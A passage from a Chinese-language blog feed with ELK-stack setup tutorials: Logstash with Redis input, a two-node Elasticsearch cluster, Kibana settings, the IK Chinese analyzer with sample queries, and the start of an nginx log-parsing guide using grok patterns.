title="修改logstash配置文件"></a>修改logstash配置文件</h2><p>修改logstash配置文件,使用logstash-input-redis插件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# vim logstash.conf</span><br><span class="line">#修改如下</span><br><span class="line">input &#123;</span><br><span class="line">   redis &#123;</span><br><span class="line">     host =&gt; &quot;127.0.0.1&quot;</span><br><span class="line">     port =&gt; 6379</span><br><span class="line">     key =&gt; &quot;nginx&quot;</span><br><span class="line">     data_type =&gt; &quot;list&quot;</span><br><span class="line">     db =&gt; 0</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">filter &#123;</span><br><span class="line">    json &#123;                    #使用JSON解析过滤器</span><br><span class="line">       source =&gt; &quot;message&quot;</span><br><span class="line">       remove_field =&gt; [&quot;beat&quot;,&quot;offset&quot;,&quot;tags&quot;,&quot;prospector&quot;]</span><br><span class="line">    &#125;</span><br><span class="line">    date &#123;                     #使用</span><br><span class="line">      match =&gt; [&quot;timestamp&quot;, &quot;dd/MMM/yyyy:HH:mm:ss Z&quot;]</span><br><span class="line">      target =&gt; &quot;@timestamp&quot;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">output &#123;</span><br><span class="line">    elasticsearch &#123;</span><br><span class="line">        hosts =&gt; [&quot;127.0.0.1:9200&quot;]</span><br><span class="line">        index =&gt; &quot;redis-%&#123;+YYYY.MM.dd&#125;&quot;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>启动logstash</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost config]# ../bin/logstash -f logstash.conf</span><br></pre></td></tr></table></figure><p>启动filebeat</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost filebeat]# ./filebeat -e -c filebeat.yml</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1i3GRe.GF3KVjSZFv762_nXXaE.png" alt=""></p><p>当logstash无法使用的时候,数据会保存到redis中,一旦logstash可以正常使用的时候,会将redis的数据取出进行数据过滤展示在kibana中</p><h2 id="部署elasticsearch集群"><a href="#部署elasticsearch集群" class="headerlink" title="部署elasticsearch集群"></a>部署elasticsearch集群</h2><p>修改其配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#检查两台主机的集群名是否一致,若不一致,则无法加入统一集群中</span><br><span class="line">cluster.name: my-cluster</span><br><span class="line">#检查端口,使用默认端口即可</span><br><span class="line">transport.tcp.port: 9300</span><br><span class="line">#设置使用zen discovery机制对本地两台主机进行监控</span><br><span class="line">discovery.zen.ping.unicast.hosts: [&quot;192.168.48.129:9300&quot;, &quot;192.168.48.130:9300&quot;]</span><br></pre></td></tr></table></figure><p>设置主节点资格并互相连接的节点最小数目,如果不做这种设置,遭受网络故障的集群就有可能将集群分为两个独立的集群,成为脑裂,计算公式为:对于n个节点来说,则就取(10/n)+1的值</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">discovery.zen.minimum_master_nodes: 2</span><br></pre></td></tr></table></figure><p>配置主节点和数据节点</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">node.master: true   #成为主节点</span><br><span class="line">node.data: true     #存储数据</span><br></pre></td></tr></table></figure><p>另一台主机的配置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">cluster.name: my-cluster</span><br><span class="line">node.name: node-2             #两台主机的集群名一致,但节点名不能设置一样的</span><br><span class="line">transport.tcp.port: 9300</span><br><span class="line">node.master: true</span><br><span class="line">node.data: true</span><br><span class="line">discovery.zen.ping.unicast.hosts: [&quot;192.168.48.129:9300&quot;, &quot;192.168.48.130:9300&quot;]</span><br><span class="line">discovery.zen.minimum_master_nodes: 2</span><br></pre></td></tr></table></figure><p>检测是否成功</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# curl http://192.168.48.129:9200</span><br><span class="line">&#123;</span><br><span class="line">  &quot;name&quot; : &quot;node-1&quot;,</span><br><span class="line">  &quot;cluster_name&quot; : &quot;cluster&quot;,</span><br><span class="line">  &quot;cluster_uuid&quot; : &quot;rTfmsrGcTjWqqPk5MPRq7A&quot;,  #配置成功之后其uuid变化</span><br><span class="line">  &quot;version&quot; : &#123;</span><br><span class="line">    &quot;number&quot; : &quot;6.6.2&quot;,</span><br><span class="line">    &quot;build_flavor&quot; : &quot;default&quot;,</span><br><span class="line">    &quot;build_type&quot; : &quot;tar&quot;,</span><br><span class="line">    &quot;build_hash&quot; : &quot;3bd3e59&quot;,</span><br><span class="line">    &quot;build_date&quot; : &quot;2019-03-06T15:16:26.864148Z&quot;,</span><br><span class="line">    &quot;build_snapshot&quot; : false,</span><br><span class="line">    &quot;lucene_version&quot; : &quot;7.6.0&quot;,</span><br><span class="line">    &quot;minimum_wire_compatibility_version&quot; : &quot;5.6.0&quot;,</span><br><span class="line">    &quot;minimum_index_compatibility_version&quot; : &quot;5.0.0&quot;</span><br><span class="line">  &#125;,</span><br><span class="line">  &quot;tagline&quot; : &quot;You Know, for Search&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">[root@localhost ~]# curl http://192.168.48.130:9200</span><br><span class="line">&#123;</span><br><span class="line">  &quot;name&quot; : &quot;node-2&quot;,</span><br><span class="line">  &quot;cluster_name&quot; : &quot;cluster&quot;,</span><br><span class="line">  &quot;cluster_uuid&quot; : &quot;rTfmsrGcTjWqqPk5MPRq7A&quot;,</span><br><span class="line">  &quot;version&quot; : &#123;</span><br><span class="line">    &quot;number&quot; : &quot;6.6.2&quot;,</span><br><span class="line">    &quot;build_flavor&quot; : &quot;default&quot;,</span><br><span class="line">    &quot;build_type&quot; : &quot;tar&quot;,</span><br><span class="line">    &quot;build_hash&quot; : &quot;3bd3e59&quot;,</span><br><span class="line">    &quot;build_date&quot; : &quot;2019-03-06T15:16:26.864148Z&quot;,</span><br><span class="line">    &quot;build_snapshot&quot; : false,</span><br><span class="line">    &quot;lucene_version&quot; : &quot;7.6.0&quot;,</span><br><span class="line">    &quot;minimum_wire_compatibility_version&quot; : &quot;5.6.0&quot;,</span><br><span class="line">    &quot;minimum_index_compatibility_version&quot; : &quot;5.0.0&quot;</span><br><span class="line">  &#125;,</span><br><span class="line">  &quot;tagline&quot; : &quot;You Know, for Search&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>成功安装,查看集群查询健康状态(设置的pretty=true参数表示以便于查看的形式显示):</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.48.129:9200/_cluster/health?pretty=true</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1XkyNe21H3KVjSZFB762SMXXas.png" alt=""></p><p>其状态有三种情况</p><p>green:表示所有主分片和副本分片都处于活动状态</p><p>yellow:表示所有的主分片都处于活动状态,非所有副本状态处于活动状态</p><p>red:表示不是所有的主分片都处于活动状态</p><h2 id="编辑kibana配置文件"><a href="#编辑kibana配置文件" class="headerlink" title="编辑kibana配置文件"></a>编辑kibana配置文件</h2><p>修改kibana配置文件,设置连接主机为集群中的两台主机</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">elasticsearch.hosts: [&quot;http://192.168.48.129:9200&quot;,&quot;http://192.168.48.130&quot;]</span><br></pre></td></tr></table></figure><p>集群的状态查询</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.48.129:9200/_cluster/state?pretty=true</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB11oKTe8Gw3KVjSZFw762Q2FXaK.png" alt=""></p><p>查看节点信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.48.129:9200/_nodes?pretty=true</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB11W1Pe8iE3KVjSZFM762QhVXa5.png" alt=""></p><h2 id="安装ik中文分词器"><a href="#安装ik中文分词器" class="headerlink" title="安装ik中文分词器"></a>安装ik中文分词器</h2><p>简介:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">IKAnalyzer是一个开源的，基于java语言开发的轻量级的中文分词工具包。</span><br><span class="line">采用了特有的“正向迭代最细粒度切分算法“，支持细粒度和最大词长两种切分模式；具有83万字/秒（1600KB/S）的高速处理能力。</span><br><span class="line">采用了多子处理器分析模式，支持：英文字母、数字、中文词汇等分词处理，兼容韩文、日文字符</span><br><span class="line">优化的词典存储，更小的内存占用。支持用户词典扩展定义</span><br><span class="line">针对Lucene全文检索优化的查询分析器IKQueryParser(作者吐血推荐)；引入简单搜索表达式，采用歧义分析算法优化查询关键字的搜索排列组合，能极大的提高Lucene检索的命中率。</span><br><span class="line">下载IK中文分词器</span><br></pre></td></tr></table></figure><p>下载IK中文分词器</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/medcl/elasticsearch-analysis-ik/releases/download/v6.6.2/elasticsearch-analysis-ik-6.6.2.zip</span><br></pre></td></tr></table></figure><p>然后在elasticsearch目录下的plugins下创建目录ik,将IK中文分词器在该目录下解压</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">[elk@localhost ik]$ ls</span><br><span class="line">commons-codec-1.9.jar</span><br><span class="line">commons-logging-1.2.jar</span><br><span class="line">config</span><br><span class="line">elasticsearch-analysis-ik-6.6.2.jar</span><br><span class="line">elasticsearch-analysis-ik-6.6.2.zip</span><br><span class="line">httpclient-4.5.2.jar</span><br><span class="line">httpcore-4.4.4.jar</span><br><span class="line">plugin-descriptor.properties</span><br><span class="line">plugin-security.policy</span><br></pre></td></tr></table></figure><p>接下来重启elasticsearch,然后在开发者工具下设置</p><p>创建一个索引</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PUT /my_ik</span><br></pre></td></tr></table></figure><p>创建个映射</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">POST /my_ik/fulltext/_mapping</span><br><span class="line">&#123;</span><br><span class="line">  &quot;properties&quot;: &#123;</span><br><span class="line">    &quot;content&quot;:&#123;</span><br><span class="line">      &quot;type&quot;: &quot;text&quot;,</span><br><span class="line">      &quot;analyzer&quot;: &quot;ik_max_word&quot;,</span><br><span class="line">      &quot;search_analyzer&quot;: &quot;ik_max_word&quot;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>插入四组内容</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">POST /my_ik/fulltext/1</span><br><span class="line">&#123;</span><br><span class="line">  &quot;content&quot;:&quot;美国留给伊拉克的是个烂摊子吗&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">POST /my_ik/fulltext/2</span><br><span class="line">&#123;</span><br><span class="line">  &quot;content&quot;:&quot;公安部：各地校车将享最高路权&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">POST /my_ik/fulltext/3</span><br><span class="line">&#123;</span><br><span class="line">  &quot;content&quot;:&quot;中韩渔警冲突调查：韩警平均每天扣1艘中国渔船&quot;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">POST /my_ik/fulltext/4</span><br><span class="line">&#123;</span><br><span class="line">  &quot;content&quot;:&quot;中国驻洛杉矶领事馆遭亚裔男子枪击 嫌犯已自首&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>查询content中带有中国的数据</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">GET /my_ik/fulltext/_search</span><br><span class="line">&#123;</span><br><span class="line">  &quot;query&quot;: &#123;</span><br><span class="line">    &quot;match&quot;: &#123;</span><br><span class="line">      &quot;content&quot;: &quot;中国&quot;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>设置搜索结果高亮显示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">GET /fxik/fulltext/_search</span><br><span class="line">&#123;</span><br><span class="line">  &quot;query&quot;: &#123;</span><br><span class="line">    &quot;match&quot;: &#123;</span><br><span class="line">      &quot;content&quot;: &quot;中国&quot;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;,</span><br><span class="line">  &quot;highlight&quot;: &#123;</span><br><span class="line">    &quot;pre_tags&quot; : [&quot;&lt;strong&gt;&quot;, &quot;&lt;tag2&gt;&quot;],</span><br><span class="line">        &quot;post_tags&quot; : [&quot;&lt;/strong&gt;&quot;, &quot;&lt;/tag2&gt;&quot;],</span><br><span class="line">        &quot;fields&quot; : &#123;</span><br><span class="line">            &quot;content&quot; : &#123;&#125;</span><br><span class="line">        &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用ik_max_word分词器对内容进行分词</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">GET /my_ik/_analyze</span><br><span class="line">&#123;</span><br><span class="line">  &quot;text&quot;:&quot;中华人民共和国国歌&quot;,</span><br><span class="line">  &quot;tokenizer&quot;: &quot;ik_max_word&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用标准分词器对内容进行分词.其是将每个字符都作为关键字</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">GET /fxik/_analyze</span><br><span class="line">&#123;</span><br><span class="line">  &quot;text&quot;:&quot;中华人民共和国国歌&quot;,</span><br><span class="line">  &quot;tokenizer&quot;: &quot;standard&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>依次重启各个服务</p><p>对elasticsearch进行基本的搜索</p><p>查询elasticsearch中所有信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">GET _search</span><br><span class="line">&#123;</span><br><span class="line">  &quot;query&quot;: &#123;</span><br><span class="line">    &quot;match_all&quot;: &#123;&#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>创建一个索引</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PUT /class</span><br></pre></td></tr></table></figure><p>向索引添加一条内容</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST /fxclass/student/1</span><br><span class="line">&#123;</span><br><span class="line">  &quot;name&quot;:&quot;zhangsan&quot;,</span><br><span class="line">  &quot;age&quot;:20,</span><br><span class="line">  &quot;email&quot;:&quot;zhangsan@qq.com&quot;,</span><br><span class="line">  &quot;desc&quot;:&quot;he is a good person&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>获取该索引的内容</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GET /class/_search</span><br></pre></td></tr></table></figure><p>根据字段的关键字进行搜索</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">GET /class/_search</span><br><span class="line">&#123;</span><br><span class="line">  &quot;query&quot;: &#123;</span><br><span class="line">    &quot;match&quot;: &#123;</span><br><span class="line">      &quot;desc&quot;: &quot;person&quot;    #搜索desc字段中存在person关键字的内容</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实现报表分析"><a href="#实现报表分析" class="headerlink" title="实现报表分析"></a>实现报表分析</h2><p>因为没有数据,所以我们去下载范例进行操作</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://download.elastic.co/demos/kibana/gettingstarted/accounts.zip</span><br></pre></td></tr></table></figure><p>解压,然后将该文件加载到elasticsearch中</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost local]# curl -H &apos;Content-Type: application/x-ndjson&apos; -XPOST &apos;localhost:9200/bank/account/_bulk?pretty&apos; --data-binary @accounts.json</span><br></pre></td></tr></table></figure><p><img src="https://ae01.alicdn.com/kf/HTB1RZmWe8Kw3KVjSZFO761rDVXaU.png" alt=""></p><p>进行报表分析,建立pattern<img src="https://ae01.alicdn.com/kf/HTB1T8CPe.GF3KVjSZFo762mpFXap.png" alt=""></p><p>创建可视化界面,使用模板创建<img src="https://ae01.alicdn.com/kf/HTB1i8aYe8Kw3KVjSZTE763uRpXax.png" alt=""></p><p><img src="https://ae01.alicdn.com/kf/HTB1_h5Pe25G3KVjSZPx762I3XXae.png" alt=""></p><p><img src="https://ae01.alicdn.com/kf/HTB11IeDdQxz61VjSZFr760eLFXaM.png" alt=""></p><p><img src="https://ae01.alicdn.com/kf/HTB1FaSTe8WD3KVjSZKP761p7FXav.png" alt=""></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="运维技术" scheme="https://louisnie.github.io/categories/%E8%BF%90%E7%BB%B4%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="ELK" scheme="https://louisnie.github.io/tags/ELK/"/>
    
  </entry>
  
  <entry>
    <title>搭建ELK实时分析nginx日志</title>
    <link href="https://louisnie.github.io/2019/06/04/%E4%BD%BF%E7%94%A8elk%E5%AF%B9nginx%E6%97%A5%E5%BF%97%E8%BF%9B%E8%A1%8C%E5%AE%9E%E6%97%B6%E5%88%86%E6%9E%90/"/>
    <id>https://louisnie.github.io/2019/06/04/使用elk对nginx日志进行实时分析/</id>
    <published>2019-06-04T13:59:28.000Z</published>
    <updated>2019-07-03T16:30:20.344Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p><blockquote class="blockquote-center">路漫漫其修道远，吾将上下而求索。      </blockquote></p><p><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=36897723&auto=1&height=66"></iframe></div></p><h2 id="安装nginx"><a href="#安装nginx" class="headerlink" title="安装nginx"></a>安装nginx</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# yum install nginx -y </span><br><span class="line"></span><br><span class="line">[root@localhost ~]# /usr/sbin/nginx -v </span><br><span class="line"></span><br><span class="line">nginx version: nginx/1.12.2</span><br></pre></td></tr></table></figure><p>检查elk是否均已启动:</p><p>elasticsearch</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# ps -ef | grep elasticsearch </span><br><span class="line">elk        2728      1  1 5月31 pts/0   01:07:32 /bin/java -Xms1g -Xmx1g -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Des.networkaddress.cache.ttl=60 -Des.networkaddress.cache.negative.ttl=10 -XX:+AlwaysPreTouch -Xss1m -Des.distribution.flavor=default -Des.distribution.type=tar -cp /usr/local/elasticsearch-6.6.2/lib/* org.elasticsearch.bootstrap.Elasticsearch elk        2824   2728  0 5月31 pts/0   00:00:00 /usr/local/elasticsearch-6.6.2/modules/x-pack-ml/platform/linux-x86_64/bin/controller </span><br><span class="line">root      19874  13681  0 21:16 pts/1    00:00:00 grep --color=auto elasticsearch</span><br></pre></td></tr></table></figure><p>kibana</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# ps -ef | grep kibana </span><br><span class="line">root       2651      1  0 5月31 pts/0   00:55:12 /usr/local/kibana-6.6.2-linux-x86_64/bin/../node/bin/node --no-warnings --max-http-header-size=65536 /usr/local/kibana-6.6.2-linux-x86_64/bin/../src/cli root      19970  13681  0 21:17 pts/1    00:00:00 grep --color=auto kibana </span><br><span class="line">root      35609   2651  0 6月01 pts/0   00:00:06 /usr/local/kibana-6.6.2-linux-x86_64/node/bin/node --no-warnings --max-http-header-size=65536 /usr/local/kibana-6.6.2-linux-x86_64/src/legacy/core_plugins/interpreter/server/lib/route_expression/thread/babeled.js</span><br></pre></td></tr></table></figure><p>kibana</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# ps -ef | grep logstash </span><br><span class="line">root      17996      1  8 20:53 pts/3    00:02:04 /bin/java -Xms1g -Xmx1g -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/local/logstash-6.6.2/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/local/logstas-6.6.2/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/local/logstash-6.6.2/logstash-3.10.0.jar:/usr/local/logstash-6.6.2/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/local/logstash-6.6.2/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/local/logstash-6.6.2/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash -f /usr/local/logstash-6.6.2/config/logstash.conf </span><br><span class="line">root      20014  13681  0 21:18 pts/1    00:00:00 grep --color=auto logstash</span><br></pre></td></tr></table></figure><p>然后去修改logstash的配置文件,设置为nginx日志文件</p><h2 id="GROK插件"><a href="#GROK插件" class="headerlink" title="GROK插件"></a>GROK插件</h2><p>修改配置文件之前需要了解一些logstash的插件grok,我们这里使用logstash-filter-grok插件去匹配日志信息</p><p>grok插件:grok插件是logstash中非常强大的插件，其中内置了许多的正则表达式,用来正则匹配各种数据，但其性能和对资源的损耗也是让人为之诟病。</p><p>首先看一下nginx输入日志格式</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cat /etc/nginx/nginx.conf </span><br><span class="line">http &#123;</span><br><span class="line">    log_format  main  &apos;$remote_addr - $remote_user [$time_local] &quot;$request&quot; &apos;</span><br><span class="line">                      &apos;$status $body_bytes_sent &quot;$http_referer&quot; &apos;</span><br><span class="line">                      &apos;&quot;$http_user_agent&quot; &quot;$http_x_forwarded_for&quot;&apos;;</span><br></pre></td></tr></table></figure><p>在以下路径下存在一个httpd的正则匹配文件,与之nginx输入日志格式相符</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost patterns]# pwd </span><br><span class="line">/usr/local/logstash-6.6.2/vendor/bundle/jruby/2.3.0/gems/logstash-patterns-core-4.1.2/patterns </span><br><span class="line"></span><br><span class="line">[root@localhost patterns]# cat httpd </span><br><span class="line">HTTPDUSER %&#123;EMAILADDRESS&#125;|%&#123;USER&#125;</span><br><span class="line">HTTPDERROR_DATE %&#123;DAY&#125; %&#123;MONTH&#125; %&#123;MONTHDAY&#125; %&#123;TIME&#125; %&#123;YEAR&#125;</span><br><span class="line"></span><br><span class="line"># Log formats</span><br><span class="line"></span><br><span class="line">HTTPD_COMMONLOG %&#123;IPORHOST:clientip&#125; %&#123;HTTPDUSER:ident&#125; %&#123;HTTPDUSER:auth&#125; \[%&#123;HTTPDATE:timestamp&#125;\] &quot;(?:%&#123;WORD:verb&#125; %&#123;NOTSPACE:request&#125;(?: HTTP/%&#123;NUMBER:httpversion&#125;)?|%&#123;DATA:rawrequest&#125;)&quot; %&#123;NUMBER:response&#125; (?:%&#123;NUMBER:bytes&#125;|-)</span><br><span class="line">HTTPD_COMBINEDLOG %&#123;HTTPD_COMMONLOG&#125; %&#123;QS:referrer&#125; %&#123;QS:agent&#125;</span><br></pre></td></tr></table></figure><h2 id="修改配置文件"><a href="#修改配置文件" class="headerlink" 